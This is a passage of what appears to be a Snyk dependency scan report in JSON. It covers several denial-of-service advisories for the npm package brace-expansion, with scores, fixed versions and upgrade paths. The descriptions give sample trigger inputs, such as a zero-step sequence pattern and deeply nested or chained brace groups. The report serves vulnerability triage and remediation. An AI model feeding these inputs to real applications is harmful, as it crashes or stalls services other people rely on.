"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub 